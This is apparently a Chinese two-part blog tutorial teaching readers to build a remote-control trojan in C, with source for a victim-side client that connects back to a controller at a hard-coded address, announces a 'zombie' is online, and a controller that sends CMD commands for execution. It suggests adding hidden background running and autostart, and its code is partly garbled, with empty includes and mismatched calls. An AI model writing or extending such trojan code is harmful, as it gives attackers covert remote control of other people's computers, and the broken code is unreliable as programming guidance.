相信大家都听说计算机木马病毒吧?在很多人眼里,计算机木马都是一种很神秘的存在,悄悄的隐藏在计算机后台运行,监视着计算机的一切行为,能够在无人知晓的情况下拿走敏感文件,并且远在另一端的木马制作者,会通过计算机网络对木马宿主电脑进行控制,而这一切操作木马宿主都无法知晓,那么,木马真的有这么神秘吗?
这里,《一碳科技》教大家用C语言编写一个简单的木马程序,这篇文章先教大家编写远程控制木马中的“被控端”,也就是发送给宿主计算机的程序,这个程序比较简单,目的是为了让大家能理清C语言木马的工作原理,只是编写了基本实现远程发送命令的基本框架。
第一步
编写C代码的第一步,引用头文件,这里分别使用stdio.h、WinSock2.h、windwos.h(高大上一点),注意,WinSock2.h要在windwos.h之前引用,否则会出现错误,并且我们还要加入Ws_32.lib这个静态链接库,否则connect()函数就无法使用。
对第一步做个总结:
WinSock2.h要在windwos.h之前引用
加入Ws_32.lib这个静态链接库
#include#include #include #pragma comment(lib,"ws2_32.lib")
第二步
编写我们连接控制端的函数,在这里会用到socket()函数,recv()函数,WSAStartup()函数、MAKEWORD()函数,HIBYTE()和LOBYTE()函数,这里给大家提一个建议,如果想要学习scoket编程,那么,你就要把socket()、send()、recv()、accept()、listen()、connect()、bind()、这7个函数要学会怎么用并且理解。
第二步的注意事项:
socket API函数调用之前,调用的第一个函数都是WSAStartup()函数。
MAKEWORD()函数几乎都是配合WSAStartup()函数使用,一般情况下,MAKEWORD()函数的参数分别为:2、2。
SOCKET socket_connet(void) { WSADATA wd; SOCKET C; SOCKADDR_IN server_addr; int ret=0; char word[BUFSIZ]; ret=WSAStartup(MAKEWORD(2,2),&wd); if(ret!=0) { printf("初始化失败"); Sleep(500); return NULL; } if(LOBYTE(wd.wVersion)!=2||HIBYTE(wd.wVersion)!=2) { printf("初始化异常!"); Sleep(500); WSACleanup(); return NULL; }
初始化完成,我们就要连接服务器了,分别有四个步骤:
1 创建一个套接字
2 填写向SOCKADDR_IN中填写服务器IP地址、端口、使用的协议族(AF_INET)
3 向服务器发送数据,说明“肉鸡”已经上线
4 接收服务器信息
如果想要“被控端”执行服务器的命令,可以自行添加system()函数,这里就不演示了。
SOCKET socket_connet(void) { WSADATA wd; SOCKET C; SOCKADDR_IN server_addr; int ret=0; char word[BUFSIZ]; ret=WSAStartup(MAKEWORD(2,2),&wd); if(ret!=0) { printf("初始化失败"); Sleep(500); return NULL; } if(LOBYTE(wd.wVersion)!=2||HIBYTE(wd.wVersion)!=2) { printf("初始化异常!"); Sleep(500); WSACleanup(); return NULL; } //连接服务器 C=socket(AF_INET,SOCK_STREAM,0); //填入控制端地址、端口、协议族 server_addr.sin_addr.S_un.S_addr=inet_addr("192.168.0.104"); server_addr.sin_family=AF_INET; server_addr.sin_port=htons(6000); //连接控制端 connect(C,(SOCKADDR *)&server_addr,sizeof(SOCKADDR));//与控制端连接 //告诉控制端“肉鸡”上线了 send(C,"肉鸡已上线,请指示",strlen("肉鸡已上线"),0); //接收并执行控制端指令 recv_updata(C); system("pause"); return C; }
好了,写到这里,“被控端”的基本框架已经完成了,剩余的功能可以自行添加,例如执行服务端指令、“被控端”后台执行、“被控端”自启动等功能,这些功能的实现并不难,这里就不多讲了,如果不明白可以私信小编哦!
“被控端”完成了,那么“控制端”在哪呢?别急,下一篇文章会有哦
“控制端”与“被控端”一样,小编只是将基本的框架写出来,能够实现“控制端”与“被控端”的数据交流,控制端能够发送指令,被控端能够接收指令。其余的功能在近期的文章中会教大家如何实现,请关注《一碳科技》!
这篇文章是上一篇文章《一篇短文教会你!C语言远控木马:被控端制作,附送源码!》的补充,上一篇文章呢,我们给大家讲了C语言远控木马的“被控端”制作方法,而这篇文章呢,《一碳科技》会教大家制作C语言远控木马的“控制端”,并且这篇文章将上一篇文章的“被控端”代码进行重新整理,以便大家能够直观的看到代码的实现过程。
制作控制端其实不难,《一碳科技》发布过的文章《5分钟学会scoket编程!使用SMTP协议发邮件:附送源码+教学!》中就曾教大家如何使用socket通过smtp协议发送邮件,对比之下,控制端就相当于“smtp服务器”,被控端相当于给我们发送“邮件”的用户。
第一步
首先和往常一样,引用我们需要的头文件,这里我们需要4个头文件:stdio.h、string.h、WinSock2.h、windows.h,除此之外,我们还要加入ws2_32.lib链接库。
在这个程序里,我们需要三个函数,他们分别要实现:接受客户端连接、返回客户端数据、绑定本地端口并开始监听的功能,小编分别给他们取名为:accept_client()、recv_updata()、bind_server(),这里可能有人会有一文:“recv()不是可以接收客户端数据吗?为什么还要重新构造一个recv_updata()函数呢?”,别急,下面会讲到。除此之外,我们还要申请一个存放客户端返回数据的变量——char word[BUFSIZ]。
第一步源码
#include#include #include #include #pragma comment(lib,"ws2_32.lib") void accept_client(SOCKET C); //接受客户端连接 void recv_updata(SOCKET C); //返回客户端数据 SOCKET bind_server(void); //绑定服务器,并开始监听 char word[BUFSIZ]; //存放客户端反馈数据
第二步
我们现在要开始分别构造我们需要的函数了,首先从bind_server()(绑定本地端口并开始监听的功能)开始,这个函数跟往常一样:初始化、创建套接字、服务器信息存入、将套接字与本地端口绑定(这点与之前不同)、开始监听。这里我们讲一下“服务器信息存入”所要用到的两个函数:inet_addr()、htons()。
server_addr.sin_addr.S_un.S_addr=inet_addr("192.168.2.106");//本机IP地址 自行更换 server_addr.sin_family=AF_INET;//使用ipv4协议族 server_addr.sin_port=htons(6000);//将无符号短整型数值转换成网络字节顺序
inet_addr()的作用是将点分十进制转换成长整型,什么是点分十进制?IP地址是由四字节的十进制数表示的,每字节的十进制数表示范围为0~255,所以,我们平常看到的IP地址的格式都是:255.255.255.255,而这种格式就叫做点分十进制。那么为什么要将这个点分十进制转换成长整型,而不是其他数据类型呢?我们来看一下server_addr结构体中的S_addr成员,这个成员的数据类型为ULONG,而我们的IP地址信息就存放在S_addr成员中,调用inet_addr()函数的原因就是在这里。
htons()在这里的作用是,将主机字节序转换成网络字节序,一般来说网络字节序(大部分)都是指大端传输,目前,使用小端储存方式的CPU有Intel x86、ARM,而小编所使用的计算机CPU是intel的,所以这里要用htonl()函数,把主机字节序的“小端”转换成网络字节序的“大端”。
什么大端、小端?
“大端”、“小端”指的是计算机存放数据的方式。大端指的是:将高位字节储存在内存的低地址,而小端指的是,将高位字节储存在内存的高地址,如果看不明白这里,建议大家去看一下:计算机内存顺序、高字节与低字节。
inet_addr()函数与htons()函数,是这里比较容易“迷糊”的地方,剩下的函数就不多讲了,因为它们在《一碳科技》之前的文章就曾讲解过。
到这里,bind_server()函数就写好了,接下来给大家讲一下recv_updata(),这里为什么要重新写一个recv()函数呢?因为recv()函数接收的数据,要经过处理才能使用printf()函数打印出来,否则printf()函数打印出来的数据将不是我们想要的数据,例如它会打印出:“烫烫烫烫烫烫烫烫烫烫烫”。
而我们这里用strnest()函数对word变量(第一步声明的变量)进行“加工”,将word数组成员全部用“”代替(相当于初始化),然后recv()开始接收客户端数据,word数组的“”就会按顺序替换成客户端数据,而printf()函数读取到“”就会停止打印。
原先申请的word数组并没有初始化,所以里面会自动填充0xCCCC↓
运行结果
第三步
第三步是制作accept_client()函数,这一步没有特别难理解的地方,这里就不多讲了,各位看官根据源代码进行理解就可以了。
void accept_client(SOCKET C) { SOCKET client;//客户端socket SOCKADDR_IN client_addr;//客户端地址 int len=sizeof(SOCKADDR);///accept()参数 int ret1=0;//判断accept()是否成功 char *IP;//客户端IP地址 char str[150]={0};//发送指令 int num=0; client=accept(C,(SOCKADDR *)&client_addr,&len);//等待客户端连接 IP=inet_ntoa(client_addr.sin_addr); printf("%s 连接到控制端\n\n",IP); recv_updata(client); printf("%s\n\n",word); while(1) { printf("请发送指令至客户端:"); scanf("%s",str); send(client,str,strlen(str),0); recv_updata(C); printf("%s",word); printf("是否继续发送指令?(是1,否2)\n\n"); scanf("%d",&num); system("CLS"); if (num==1) { printf("程序继续执行!"); Sleep(500); system("CLS"); } else { printf("正在退出......\n\n"); closesocket(client); WSACleanup(); break; } }//while() }//accept_client()
这是程序运行结果
先开启控制端,然后开启客户端,客户端连接控制端,控制端显示客户端IP地址,之后控制端就可以向客户端发送CMD命令,图中,小编使用write命令打开了客户端的写字板。
本页共64段,3558个字符,8390 Byte(字节)